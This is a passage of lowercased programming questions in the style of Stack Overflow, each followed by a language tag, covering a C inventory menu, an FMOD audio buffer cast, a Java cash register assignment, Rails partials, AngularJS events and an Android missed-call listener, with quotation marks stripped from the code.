printf( \t******==!!inventory system!!==*******\n );     printf( \t******========================*******\n );     printf( \t*************************************\n );     printf( \n );      printf( \nmenu:\n[a]enteritem\n[b]viewitem\n[c]searchitem\n[d]exit\n );     printf( what do you want to perform : );     fflush(stdin);      scanf( %c  choice);     switch(choice){      case  a :         enteritem();         break;     case  b :         viewitem();         break;     case  c :            searchitem();         break;     case  d :         exit();          break;     default:         printf( invalid choice );          }     }      void enteritem(void){      file *myfile;     char opt;     do{         printf( enter item code: );         fflush(stdin);         scanf( %s  code);          printf( enter item name: );         fflush(stdin);         scanf( %s  name);           printf( enter item price: );         fflush(stdin);         scanf( %i  &amp;price);           printf( enter item quantity: );         fflush(stdin);         scanf( %i  &amp;qty);             myfile=fopen( myfiles.txt   a+ );             fprintf(myfile  %s\t%s\t%i\t%i\n  code name price qty);             printf( item saved!!\n );          printf( do you want to add more :[y/n] );         fflush(stdin);         scanf( %c  &amp;opt);       }while(opt== y ||opt== y );     printf( do you want to go back to main :[y/n] );     fflush(stdin);     scanf( %c  &amp;opt);     if(opt== y ||opt== y )     mainmenu();     else        printf( invalid choice!! );           }      void viewitem(void){      file *myfile;     int c;      if((myfile=fopen( myfiles.txt   r ))==null)     {     printf( error reading file!! );      }     while((c=fgetc(myfile))!=eof)     printf( %c  c);     printf( go to main menu[y/n]: );     fflush(stdin);     scanf( %c  opt);     if(opt== y ||opt== y )     mainmenu();     else();      fclose(myfile);     getch();     }      void searchitem(void){      file *myfile;          myfile=fopen( myfiles.txt   a+ );         printf( enter the item code to search: );         fflush(stdin);         scanf( %s  search);         while(!feof(myfile))         {         fscanf(myfile  %s %s %i %i  code name price qty);             if(strcmp(search code)==0)             {             printf( item code: %s\n  code);             printf( item name: %s\n  name);             printf( item price: %i\n  price);             printf( item quantity: %i\n  qty);             break;             printf( go back to main menu[y/n]: );             fflush(stdin);             scanf( %s  opt);     if(opt== y ||opt== y )     mainmenu();     else             }            }               fclose(myfile);     }      void exit(void){     getch();     } </code></pre>,c
cast void to typedef (best practice)  what would be the best practice to cast a void array to a typedef     this is how i am currently doing it :   <pre><code>typedef struct {     int16_t left right; } samplestereo16;  void *buffer[100000]; // data buffer samplestereo16* sample;  // insert something here that writes to the buffer  sample = (samplestereo16*) buffer; </code></pre>   this seems to work fine but somehow i have the feeling there is a better way. i was also wondering if there is way to have the sample array and the buffer share the same memory (now they each use their own memory).    here is the full code i am currently working on :    <pre><code>#include  fmod.h  #include  fmod.hpp  #include  fmod_errors.h  #include  wincompat.h  #include &lt;stdio.h&gt;  typedef struct {     int16_t left right; } samplestereo16;  void errcheck(fmod_result result) {     if (result != fmod_ok)     {         printf( \nfmod error! (%d) %s\n   result  fmod_errorstring(result));         if (result != fmod_err_file_eof)             exit(-1);     } }   int main(int argc  char *argv[]) {     fmod::system     *system;     fmod::sound      *sound;     fmod_result       result;     unsigned int      version;      int channels;     int bits;      unsigned int         lenbytes; // length in bytes read     void                 *buffer[1000000]; // data buffer     unsigned int         *read; // number of bytes actually read     unsigned int        position; // offset in pcm samples     unsigned int         samplesread; // number of pcm samples read     unsigned int        samplesbuffer; //     unsigned int        cueposition;      samplestereo16*     sample;       /*         create a system object and initialize.     */      result = fmod::system_create(&amp;system);     errcheck(result);      system-&gt;getversion(&amp;version);      result = system-&gt;getversion(&amp;version);     errcheck(result);      if (version &lt; fmod_version)     {         printf( error!  you are using an old version of fmod %08x.  this program requires %08x\n   version  fmod_version);         getch();         return 0;     }      result = system-&gt;setoutput(fmod_outputtype_alsa);     errcheck(result);      result = system-&gt;init(32  fmod_init_normal  0);     errcheck(result);      result = system-&gt;createstream( /home/dpk/dropbox/music/will smith - miami.mp3   fmod_software  0  &amp;sound);       result = sound-&gt;getformat(0  0  &amp;channels  &amp;bits);     errcheck(result);      printf( channels : %d   bits : %d \n   channels  bits);      if (channels!=2 and bits!=16)     {         printf( file must be stereo (2 channels) 16 bits \n );         exit(-1);     }      lenbytes = sizeof(buffer);     samplesbuffer = lenbytes / channels / ( bits / 8 );     position = 0;     cueposition = 0;      do     {         result = sound-&gt;seekdata(position);         errcheck(result);          printf( reading block : %u    position);          result = sound-&gt;readdata(&amp;buffer  lenbytes  read);         errcheck(result);          samplesread = *read / channels / ( bits / 8 );          sample = (samplestereo16*) buffer;          printf( number of pcm samples read : %u \n   samplesread);           for(unsigned int i=0; i&lt;samplesread; i++)         {             if (cueposition==0 &amp;&amp; ( abs(sample[i].left)&gt;500 || abs(sample[i].right)&gt;500 ) )             {                 cueposition = position+i;                 printf( cue point : %u \n   cueposition);             }         }          position += lenbytes / channels / ( bits / 8 );      } while(samplesread==samplesbuffer);      printf( \nexit\n );      /*         shut down     */     result = sound-&gt;release();     errcheck(result);     result = system-&gt;close();     errcheck(result);     result = system-&gt;release();     errcheck(result);      return 0; } </code></pre>   i am also getting segmentation faults when increasing the buffer too much  but from what i have been able to find so far it seems to be a stack size limit.    also feel free to comment on anything i am doing wrong  i just recently (last week) started c++ so i am pretty sure some things look bad in my code.,c++
how would i save items in my class with description and price  or how would i go about it  with the additem method   all of the methods where blank  my hw told to follow the comments and fill them in. just having trouble putting the array items and description together.   <pre><code>public class cashregisteritemlist { private arraylist&lt;item&gt; items = new arraylist&lt;item&gt;(); private double taxrate;  /**  * constructs a cash register with with no items.   * sets the tax rate to the default of 7.25%. *   */ public cashregisteritemlist() {     items=0;     double taxrate= 7.25;  }  /**  * constructs a cash register with no items.   * sets the tax rate to the given tax rate.  * @param taxrate tax rate for taxable items  */ public cashregisteritemlist(double taxrate) {     items= 0;     double taxrate= taxrate; }  /**  * adds an item to this cash register.  * @param description the description of this item  * @param price the price of this item  * @param istaxable the taxability of this item  */ public void additem(string description  double price  boolean istaxable) {     itemcount++;     totalprice = totalprice + price;     if(description istaxable)         totaltax = price*taxrate;             }  /**  * gets the total price of all items in the current sale   * not including the tax.  * @return the total amount  */ public double gettotal() {     return totalprice; }  /**  * gets the total tax of all the taxable items in the current sale   * @return the total tax  */ public double gettotaltax() {      return totaltax;     }  /**  * gets the number of items in the current sale.  * @return the item count  */ public int getcount() {     return items; }  /**  * removes all items from current sale  */ public void clear() {     int items= 0; }  /**  * prints a receipt  in the form shown on the assignment page.  */ public void printreceipt() {      for(int i=0; i&lt; items.length; i++){         if    }  } </code></pre>   would create a separate variable to solely keep track of items  what do  i do to make this work. this class is supposed to create the output of a cash register like    <pre><code>cash register 1 has 6 items cash register 1 total = 30.10 cash register 1 receipt 6 items bread 0.90           paper     1.95 t         bananas     0.90            milk     1.95          turkey    21.50 bowl +     2.90 t --------    30.10 0.35t -------- 30.45 cash register 1 receipt 6 items bread 0.90           paper     1.95 t         bananas     0.90            milk     1.95          turkey    21.50 bowl + after clearing cash register 1 0 items                 --------                     0.00 0.00t -------- 0.00 </code></pre>   here is the item.java   <pre><code>public class item {     private string description;     private double price;     private boolean istaxable;      /**      * constructs an item with a given description  price and taxability.      * @param description the description of item      * @param price the price of item      * @param istaxable whether the item is taxable or not      */     public item(string description  double price  boolean istaxable) {         this.description = description;         this.price = price;         this.istaxable = istaxable;     }     /**      * returns the description of the item.      * @return the description of the item      */     public string getdescription() {         return description;     }     /**      * returns the price of the item.      * @return the price of the item      */     public double getprice() {         return price;     }     /**      * returns true if item is taxable  false otherwise      * @return true if item is taxable  false otherwise      */     public boolean istaxable() {         return istaxable;     }  } </code></pre>   and the item tester    <pre><code>public class cashregisteritemlisttester {  public static void main(string[] args) { cashregisteritemlist register1 = new cashregisteritemlist();      register1.additem( bread   0.90  false);     register1.additem( paper   1.95  true);     register1.additem( bananas   0.90  false);     register1.additem( milk   1.95  false);     register1.additem( turkey   21.50  false);     register1.additem( bowl   2.90  true);     system.out.printf( cash register 1 has %d items\n   register1.getcount());     system.out.printf( cash register 1 total = %.2f\n   register1.gettotal());     system.out.println();     system.out.println( cash register 1 receipt );     register1.printreceipt();      register1 = new cashregisteritemlist(0.085);     register1.additem( bread   0.90  false);     register1.additem( paper   1.95  true);     register1.additem( bananas   0.90  false);     register1.additem( milk   1.95  false);     register1.additem( turkey   21.50  false);     register1.additem( bowl   2.90  true);     system.out.println();     system.out.println( cash register 1 receipt );     register1.printreceipt();      register1.clear();     system.out.println( \nafter clearing );     system.out.println( cash register 1 );     register1.printreceipt();  }  } </code></pre>,java
itunes sync  myappname failed to install- ipa file  recently  i have submitted my app and been accepted. however functionalities that i have built are not same with app version. then i have contacted app developer and they told me as follows:   <pre><code> to test that build   distribute…  it as an ipa  from the organizer window in xcode. then install the ipa by dragging it onto the itunes icon on the dock and syncing with your device.  </code></pre>   now  i created my ipa and drag and drop this file on itunes and then to my iphone and it shows failing to sync error! i dont know what i am doing wrong  any guidance,ios
strange routing in rails render partials  i m new to rails and thought i had finally figured out some of this routing stuff  but have been going in circles with this bit all day.     i was following a tutorial about building a twitter like service  and i ve got the basics working from the tutorial  but with mongo instead of mysql.    i ve got 3 types of pages.  the home page which is showing all the posts ordered by date    the user page which is showing the posts from a specific user    the posts page which is showing posts from a users friends.    so for each page  i ve done the following    1) created a method in the corresponding controller to get the correct posts    2) created a _posts.html.erb page with the display parameters  which are slightly different on each page    3) referenced the partial in the index.html.erb page for each view.    the controller entries look like this   <pre>   def index    @posts = post.all(:order =>  created_at desc )   end </pre>   or   <pre> def posts   @posts = post.all(:conditions => { user_id  => params[:id]}  :order =>  created_at desc )     end </pre>   and the partials are   <pre> &lt;%= render :partial => @posts %&gt; </pre>   in each view is a _posts.html.erb file  and each is slightly different    home/_posts.html.erb looks like this   <pre> &lt;%= div_for post do %&gt;     posted &lt;%= time_ago_in_words(post.created_at) %&gt; ago     posted by &lt;%= post.user_id %&gt;     &lt;%= post.text %&gt; &lt;% end %&gt; </pre>   while posts/_post.html.erb looks like this   <pre> &lt;%= div_for post do %&gt;     posted by &lt;%= post.user_id %&gt;     &lt;%= post.text %&gt; &lt;% if post.created_at > 52.hours.since %&gt;     &lt;%= distance_of_time_in_words_to_now(post.created_at) %&gt;         &lt;% else %&gt;         &lt;%= post.created_at.strftime( %c ) %&gt;         &lt;% end %&gt; &lt;% end %&gt;   </pre>   now the strange part is that on all the pages index.html.erb  users/show.html.erb  posts/index.html.erb  the partial that is being displayed is the posts/_post.html.erb. the others are being completely ignored.     my understanding was that render :partial would take the @posts and render _posts.html.erb from the current view. but this isn t happening  as only the posts/_post.html.erb is being rendered from all views.    i ve looked in the routes.rb file  but don t have anything in there that would cause this problem.    can anybody tell me why i am not displaying the proper partials     -----------edited --------------------------------    the directory structure for views is as follows   <pre> views        - home             -_post.html.erb             -index.htlm.erb       - layouts       - posts             -_post.html.erb             -index.html.erb             -posts.html.erb       - sessions        - users             -_post.html.erb             -new.html.erb             -show.html.erb </pre>   i hope that helps.,ruby-on-rails
soundtap_hdviewcontroller  does not implement the  avaudioplayerdelegate   i get this error  and i dont get how to fix it      class  soundtap_hdviewcontroller  does not implement the  avaudioplayerdelegate  protocol    any help,objective-c
if(session[loginid]==null)  i am writing in my page_load like    <pre><code>if(session[loginid]== null)  </code></pre>   then redirect to login page or other page.else populate the list.there is one dropdownlist and 2 button control in my page.does i need to write    <pre><code>if(session[loginid]== null) </code></pre>   in populate list function  it s selectedindexchange function and button event.selectedindexchange again call 2 another function inside it.does i need to write in that function also.    samplepage.aspx    1 dropdownlist 2 button1 3 button3    samplepage.aspx.cs   <pre><code>1 page_load() 2 populate() 3 ddl_selectedindexchange() 4 button1_click() 5 button2_click() 6 function1() 7 fuction2() </code></pre>,asp.net
init a class with one argument using objc_msgsend  <strong>edit: yes  i did it wrong. it s well possibly knowing the init method by using a protocol on class level. this is something i rarely do  so that didn t come to my mind at first (see linked question about my answer to it using a protocol). so yes  this question is broken. as bbum said  there should be absolutely no reason to do this.</strong>    background to my question in [1].     for a design reason (data mapper pattern) i need to initialize classes which i know are subclasses of a certain base class (managedentity). i assert for this once - then later i want to create as many instances  and as fast as possible (i m programming for ios). however  since the class where i need to create the concrete instances in doesn t know any of the model classes  the meta class stored and used to create entity instances of is just known to be of type class.    long story short: i can t simply use [[[_entityclass] alloc] initwithblah:something]  since entityclass is unknown  just known as type class there  hence the init method initwithblah is unknown of course - but i know it must exist (it must be by design a subclass of the base class  which is asserted once when the mapper is initialized).    so in order to create instances of the unknown class with the init method that i know it exists  i need to construct a method invocation. this should call the initwith:something selector on the unknown class and create an instance of it.     i think i should use objc_msgsend rather than nsinvocation  because the latter is supposed to be an order of magnitude slower [2]. the init method is supposed to not change  and requires one argument.    so... what would be the equivalent to:   <pre><code>managedentity *newentity = [[managedentity] alloc] initwithentitydescription:_entitydescription];  </code></pre>   with objc_msgsend     [1] <a href= https://stackoverflow.com/questions/19477173/create-a-subclass-of-a-class-using-parents-init-from-another-class noredirect=1#comment28886978_19477173 >create a subclass of a class using parent&#39;s init - from another class</a>    [2] <a href= http://www.mikeash.com/pyblog/performance-comparisons-of-common-operations-leopard-edition.html  rel= nofollow noreferrer >http://www.mikeash.com/pyblog/performance-comparisons-of-common-operations-leopard-edition.html</a>,objective-c
how to download zip files from webview into iphone   i plan to let users download their own files and stored them inside iphone. the process is typically:   <ul> <li>app file into cloud app convert zip file.</li> <li>iphone present a web page by uiwebview  in which there are one link to .zip files the user browser the page and click on one of the .zip file link *download zip file in cloud app  how to open  *zip file download in iphone device possible or not possible  any body know help me!</li> </ul>,iphone
javascript price calculator not working on website  before starting i want to say that this is a dutch website  so you may come across dutch words in the code. so i got this code script  which calculates the total price of chosen books:   <pre><code>&lt;script&gt; function bereken() { var total = 0; if (document.forms[0].boek1.checked) { total += 27.74; } if (document.forms[0].boek2.checked) { total += 26.13; } if (document.forms[0].boek3.checked) { total += 35.57; } if (document.forms[0].boek4.checked) { total += 16.06; } totalp =  €  + total document.forms[0].total.value = totalp;  }  &lt;/script&gt;  &lt;/head&gt;  &lt;body&gt; &lt;form&gt; &lt;input type= checkbox  name= boek1 &gt;boek 1&lt;br&gt; &lt;input type= checkbox  name= boek2 &gt;boek 2&lt;br&gt; &lt;input type= checkbox  name= boek3 &gt;boek 3&lt;br&gt; &lt;input type= checkbox  name= boek4 &gt;boek 4&lt;br&gt; &lt;div&gt;&lt;input type= button  value= totaal  onclick= bereken() &gt;&lt;br&gt;&lt;br&gt; &lt;input type= text  value= €  name= total  size= 5 &gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   it s working great  however  when i put it into my site it will not work anymore.   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;  &lt;link rel= stylesheet  type= text/css  href= stylesheet.css &gt; &lt;meta charset= utf-8 &gt; &lt;link rel= shortcut icon  type= image/png  href= images/favicon.png /&gt; &lt;link id= pagefont  href= https://fonts.googleapis.com/css family=roboto   rel= stylesheet  type= text/css &gt; &lt;title&gt;rijn ijssel - de beste mbo-opleidingen&lt;/title&gt;  &lt;script language= javascript &gt; function bereken() { var total = 0; if (document.forms[0].boek1.checked) { total += 27.74; } if (document.forms[0].boek2.checked) { total += 26.13; } if (document.forms[0].boek3.checked) { total += 35.57; } if (document.forms[0].boek4.checked) { total += 16.06; } totalp =  €  + total document.forms[0].total.value = totalp;  }  &lt;/script&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;div id= content &gt; &lt;h1&gt;welkom bij rijn ijssel&lt;/h1&gt;  &lt;div&gt;     &lt;p&gt;onderstaande boeken dien je buiten je laptop om nodig te hebben  deze zullen nodig zijn voor de basisvakken die je zult krijgen. nog geen boeken  je kan eenvoudig je boeken &lt;a id= link  href= https://www.vandijk.nl/webshop/  target= _blank &gt;hier&lt;/a&gt; bestellen.&lt;/p&gt; &lt;/div&gt;  &lt;div id= boekentabel &gt; &lt;table&gt;     &lt;tr&gt;         &lt;th&gt;code&lt;/th&gt;         &lt;th&gt;boek&lt;/th&gt;         &lt;th&gt;prijs&lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;input type= checkbox  name= boek1 &gt;8359499&lt;/td&gt;         &lt;td&gt;20/20 english ict niveau 3-4 werkboek b1&lt;/td&gt;          &lt;td&gt;€27 74&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;input type= checkbox  name= boek2 &gt;8247686&lt;/td&gt;         &lt;td&gt;startrekenen 3f leerwerkboek deel a+b&lt;/td&gt;          &lt;td&gt;€26 13&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt;  &lt;div&gt; &lt;p&gt;let op: onderstaande artikelen dien je pas te bestellen na overleg met je docent:&lt;/p&gt; &lt;/div&gt;  &lt;div&gt; &lt;table id= boekentabel &gt;     &lt;tr&gt;         &lt;th&gt;code&lt;/th&gt;         &lt;th&gt;boek&lt;/th&gt;         &lt;th&gt;prijs&lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;input type= checkbox  name= boek3 &gt;8829764&lt;/td&gt;         &lt;td&gt;(eck) nu nederlands online 2-jaarslicentie student&lt;/td&gt;          &lt;td&gt;€35 57&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;input type= checkbox  name= boek4 &gt;8183584&lt;/td&gt;         &lt;td&gt;startrekenen online + examencoach rekenen (er)  lic 12 mnd&lt;/td&gt;          &lt;td&gt;€16 06&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt;  &lt;input id=totaalbutton type= button  value= kosten berekenen      onclick= bereken() &gt; &lt;input type= text  value= €  name= total  size= 5 &gt;  &lt;/div&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   i made a picture in paint to clarify the problem a little bit  maybe it will help solving the problem  does anyone know how to solve this     <a href= http://i.stack.imgur.com/wozau.png  rel= nofollow >click for image</a>,javascript
nsdictionary object disappearing  my app uses a plist to save data between sessions. i use the three below methods to save and read data from the plist file. however  i ve been having an enormous problem.    when i save my data  all 12 key/value pairs are set up perfectly in the nsmutabledictionary (i ve checked this in the debugger  all 12 pairs are definitely there). however  when i read the data  only 11 pairs show up. the missing 12th key/value pair is  tab   an nsmutablearray. all other data types are either nsstring or nsnumber.     property declaration for tab:   <pre><code>@property (strong  nonatomic) nsmutablearray *tab; </code></pre>   code:   <pre><code>- (nsstring *)datafilename {     nserror *err = nil;     nsurl *dir = [[nsfilemanager defaultmanager] urlfordirectory:nsdocumentdirectory indomain:nsalldomainsmask appropriateforurl:nil create:yes error:&amp;err];       nsstring *path = [[dir path] stringbyappendingstring:@ /employeelistdata.plist ];       return path; //path has not been declared yet }   - (void)savedatatofile {  nsmutablearray *a = [nsmutablearray array]; for (int c = 0; c &lt; [self.employeelist count]; c++) {     nsmutabledictionary *dictionary = [nsmutabledictionary dictionary];     id r = [self.employeelist objectatindex:c];     [dictionary setobject:[r username] forkey:@ username ];     [dictionary setobject:[r password] forkey:@ password ];     [dictionary setobject:[r employeename] forkey:@ employeename ];     [dictionary setobject:[r grade] forkey:@ grade ];     [dictionary setobject:[r email] forkey:@ email ];     [dictionary setobject:[r phone] forkey:@ phone ];     [dictionary setobject:[r freeperiods] forkey:@ freeperiods ];     [dictionary setobject:[r committee] forkey:@ committee ];     [dictionary setvalue:[nsnumber numberwithbool:[r haskey]] forkey:@ haskey ];     [dictionary setobject:[r hours] forkey:@ hours ];     [dictionary setobject:[nsarray arraywitharray:[r tab]] forkey:@ tab ];     float num = [r tabtotal];     nsnumber *floatobject = [nsnumber numberwithfloat:num];     [dictionary setobject:floatobject forkey:@ tabtotal ];     [a addobject:dictionary];     }      [a writetofile:[self datafilename] atomically:yes]; }  - (void)readdatafromfile  { [self createemployeelist]; nsarray *temparray = [nsarray arraywithcontentsoffile:[self datafilename]]; for (int d = 0; d &lt; [temparray count]; d++) {     employee *person = [[employee alloc] init];     nsdictionary *dict = [temparray objectatindex:d];     [person setusername:[dict objectforkey:@ username ]];     [person setpassword:[dict objectforkey:@ password ]];     [person setemployeename:[dict objectforkey:@ employeename ]];     [person setgrade:[dict objectforkey:@ grade ]];     [person setemail:[dict objectforkey:@ email ]];     [person setphone:[dict objectforkey:@ phone ]];     [person setfreeperiods:[dict objectforkey:@ freeperiods ]];     [person setcommittee:[dict objectforkey:@ committee ]];     [person sethaskey:[[dict valueforkey:@ haskey ] boolvalue]];     [person sethours:[dict objectforkey:@ hours ]];     [person settab:[[dict objectforkey:@ tab ] mutablecopy]];     nsnumber *floatnumber = dict[@ tabtotal ];     float floatvalue = floatnumber.floatvalue;     [person settabtotal:floatvalue];     [self.employeelist addobject:person];     }   } </code></pre>,objective-c
multiple= multiple  for <select> is not working  i m working on a application for mail sending and need to use select tag of html with showing multiple options (but select only one at a time).    i tried <code>multiple= multiple </code> but it is showing only one option and arrow disappears form select box.   <pre><code>&lt;select multiple= multiple &gt;                                   &lt;option&gt;volvo&lt;/option&gt;                                   &lt;option&gt;saab&lt;/option&gt;                                   &lt;option&gt;mercedes&lt;/option&gt;                                   &lt;option&gt;audi&lt;/option&gt;                                 &lt;/select&gt; </code></pre>,html
mysql get max number of a group than make new group by that max number  i have a table  it similar with this table   <pre><code>id name   age status 1  john    32 life 2  andre   99 life 3  anton   89 dead 4  maria   99 life 5  mario   13 life 6  santi   89 dead 7  anggy   56 dead 8  amir    99 life </code></pre>   i want to do something like this<br> 1. group rows by status (life)<br> 2. get the max age from that group (99) (only the max number need)<br> 4. make new group by age and sort it by id.<br>    the result will be   <pre><code>8   amir    99  life 4   maria   99  life 2   andre   99  life </code></pre>   any way to use only 1 line query for that job  with some (php) data procesing its not to hard to get the result i want  but i want to make code as clean as posible  so maybe i can do that 3 step in just a single query,mysql
how to create a default screen before oncreate method  hey i am creating a app that is pretty much heavy...it works fine but when i am moving from one activity to another then a completely black screen stays for some time then the activity loads..now i want to make a default screen that shows a loading message before the activity loads..otherwise user thought that the app is hang or crash...   <pre><code>public class tenderviewactivity extends listactivity {  int[] pos={1 2 3 4 5 6 7 8 9}; public static defaulthttpclient client; private static final string default =  n/a ; public final static string extra_message =  com.mobile.bidnemo.message ; public final static string extra_message2 =  com.mobile.bidnemo.message2 ; jsonarray jarray; arraylist&lt;spanned&gt; list = new arraylist&lt;spanned&gt;();   int starting_point=0; int limit=50; string cat; string tender_name; string title;  @override protected void oncreate(bundle savedinstancestate){ super.oncreate(savedinstancestate); getwindow().setbackgrounddrawableresource(r.drawable.bid_backgrounds); toast.maketext(getapplicationcontext()   please wait..   toast.length_long).show(); intent intent = getintent(); cat = intent.getstringextra(bidactivity.extra_message4); tender_name = intent.getstringextra(bidactivity.extra_message3); title=intent.getstringextra(bidactivity.extra_message5); settitle(title);  arraylist&lt;spanned&gt; tenders=tenderlist(cat tender_name); setlistadapter(new arrayadapter&lt;spanned&gt;(this r.layout.tender_listing r.id.basic_details tenders)); }  @override protected void onlistitemclick(listview l  view v  int position  long id) { super.onlistitemclick(l  v  position  id); string resid=returnid(pos[position]); intent detailstender=new intent(this detailstenderactivity.class); detailstender.putextra(extra_message2  resid); startactivity(detailstender); toast.maketext(this   you selected tender:  +resid  toast.length_short).show(); }    @suppresslint( newapi ) public arraylist&lt;spanned&gt; tenderlist(string cat  string name){ /***tender view process begin***/ spanned s; string active=  ; try { strictmode.enabledefaults();                     jsonobject json = new jsonobject(); json.put( cat   cat); json.put( srch_str   name);  client = new defaulthttpclient(); string url =  https://www.myserver.com/index.php ; httppost request = new httppost(url); request.setentity(new bytearrayentity(json.tostring().getbytes( utf8 ))); request.setheader( json   json.tostring()); httpresponse response = client.execute(request); httpentity entity = response.getentity(); if (entity != null){ inputstream instream = entity.getcontent(); string result=  ; try{  bufferedreader reader= new bufferedreader(new inputstreamreader(instream  iso-8859-1 ) 8);  stringbuilder sb=new stringbuilder(); string line=null; while((line=reader.readline())!=null){ sb.append(line+ \n ); } instream.close(); result= sb.tostring(); }catch(exception e){} jarray= new jsonarray(result); for(int i=0; i&lt;jarray.length();i++) { jsonobject getjson=jarray.getjsonobject(i);  string tender_id=getjson.getstring( tender_id ); string tender_title=getjson.getstring( tender_title ); string start_date=getjson.getstring( tender_additional_info_bid_sub_start_date ); string end_date=getjson.getstring( tender_additional_info_bid_sub_end_date );  simpledateformat df = new simpledateformat( yyyy-mm-dd hh:mm:ss ); java.util.date date= df.parse(end_date);       calendar c = calendar.getinstance(); java.util.date current_date=(c.gettime());  if(current_date.compareto(date)&lt;=0){ active= active ; }else{ active= inactive ; }  if( active .equals(active)){  s=html.fromhtml(                 &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; id: &lt;/font&gt;           +tender_id+                              &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; title: &lt;/font&gt;        +tender_title+                              &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; posting date: &lt;/font&gt; +start_date+                              &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; ending date: &lt;/font&gt;  +end_date+                              &amp;nbsp;&lt;br&gt;&lt;font color= #25c31f &gt;                       +active+                               &lt;/font&gt;&lt;br&gt; );                  }else{                 s=html.fromhtml(                              &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; id: &lt;/font&gt;           +tender_id+                              &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; title: &lt;/font&gt;        +tender_title+                              &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; posting date: &lt;/font&gt; +start_date+                              &amp;nbsp;&lt;br&gt;&lt;font color= #232322 &gt; ending date: &lt;/font&gt;  +end_date+                              &amp;nbsp;&lt;br&gt;&lt;font color= #ff0000 &gt;                       +active+                              &lt;/font&gt;&lt;br&gt; );      } list.add(s);  }}     }catch (throwable t) {} return list; /***tender view  process end***/ }  /**returnid function for toast message****/ public string returnid(int posval){ string  p = null; try{ jsonobject getjson=jarray.getjsonobject(posval); p=getjson.getstring( tender_id ); } catch(exception e){} return p; } </code></pre>   what i will do..please help..,android
how does program know to continue to new string   when i use <code>while(cin >> word) { cout &lt;&lt; word }</code> program shows all the word i write one by one. but i cant understand why. when we use ints we write something like i++ to end the loop. my question is how does the program knows to write the next word and not the first word over and over again,c++
communicate scope values between controllers in angularjs <ol> <li>using getters and setters in services  later calling the service and fetching values</li> <li>$broadcast and $emit</li> </ol>   which is best practice and why,angularjs
include two files one by one with a ratio of 4 :1  i got two files file4.php and file1.php    using <strong>include</strong> how do i put them in a ratio that if file4.php shows up 4 time then file1.php should show up 1 time to a ratio of 4:1. what will be the best practice    <pre><code>&lt; php    {     include( file4.php );  } else {      include( file1.php );   }  &gt; </code></pre>,php
is it possible for a designer to develop an angularjs ui without the developer involved   in silverlight  you can have ux person develop the ui look and feel seperatly and then developer can take the xaml and implement the behavior. in this model  ux person can create mock data for ui and verify the behavior independent of the implementation. as a developer  we do not need to worry about xaml and focus on implementing the behavior. i like this model  which encourages the independent development yet with collaboration.    is such separation possible in angularjs  if possible how would one go about achieving this,angularjs
fill a resizable uiview with a transparent plain color that sticks to bounds  i have a uiimageview in a uiview.    <pre><code>media.mediaimageview = [uiimageview new]; media.mediaimageurl = [nsurl urlwithstring:url];  media.mediaimageview.frame = cgrectmake(0  0  self.tableview.frame.size.width  120); media.mediaimageview.contentmode = uiviewcontentmodescaleaspectfill; media.mediaimageview.clipstobounds = yes; [self.tableview addsubview:media.mediaimageview]; </code></pre>   i would like to add a layer (or something else  a view  ) to that uiview  this layer would be filled with a plain color with alpha transparency. in the following example it would be redcolor and transparency 0.5 :     <img src= https://i.stack.imgur.com/hjs7i.jpg  alt= enter image description here >    but later in code the uiview is resized :    <pre><code>rect = cgrectmake(0  0  newwidth  newheight); myuiview.frame = rect; </code></pre>   <strong>the color layer should automatically cover the entire uiview (whatever its size) without explicitly redrawing the layer.</strong> is this possible       i can make it work but only by redrawing the uiview and the layer.,ios
rewriting a variable  what happens to the old reference   i am trying to determine what happens when i write two of the same exact variable names with different values.   <pre><code>var helloworld =  hello ; var helloworld =  helloworld ; </code></pre>   i know the current value is  helloworld  but what happens to the first var helloworld  is that just re-assigned  or is the first case garbage collected,javascript
usage of $broadcast()  $emit() and $on() in angularjs  i understand that <code>$broadcast()</code>  <code>$emit()</code> and <code>$on()</code>  are used to raise an event in one controller and handling in another controller. if possible  can someone just give me some real time example on the usage of above three as i am new to <code>angular js</code>     i have gone through the following links and understand the basic usage.    <a href= http://www.binaryintellect.net/articles/5d8be0b6-e294-457e-82b0-ba7cc10cae0e.aspx  rel= noreferrer >http://www.binaryintellect.net/articles/5d8be0b6-e294-457e-82b0-ba7cc10cae0e.aspx</a>,angularjs
identify missed calls in android and send a message to that number  i count the number of missed calls in the log when state is in the rigging state. then count the number of miss call of the ideal state. then compare them. but in the ideal state call log is give the same number of miss call. can some one help me to validate a to recieved call is a miss call or a not.   <pre><code>public class customphonestatelistener extends phonestatelistener {  context context; string callstate; private static boolean wasriging; private static int previousnoofmisscall; private static int udf;  public customphonestatelistener(context context) {     super();     this.context = context; }  @override public void oncallstatechanged(int state  string incomingnumber) {     super.oncallstatechanged(state  incomingnumber);      switch (state) {     case telephonymanager.call_state_idle:         callstate =  ideal ;         if (udf != telephonymanager.call_state_idle) {             sendsmstomissno(incomingnumber   test );         }         break;     case telephonymanager.call_state_offhook:         callstate =  offhook ;         break;     case telephonymanager.call_state_ringing:         callstate =  riging ;         previousnoofmisscall = this.getmisscallcount();         wasriging = true;         break;     default:         break;     }     udf = state;     log.i( &gt;&gt;&gt;broadcast    oncallstatechanged   + callstate); }  public int getmisscallcount() {     string[] projection = { calllog.calls.cached_name              calllog.calls.cached_number_label  calllog.calls.type };     string where = calllog.calls.type +  =  + calllog.calls.missed_type;      cursor c = context.getcontentresolver().query(             calllog.calls.content_uri  projection  where  null  null);     c.movetofirst();     log.d( call      + c.getcount()); // do some other operation     return c.getcount(); }  private void sendsmstomissno(string phonenumber  string message) 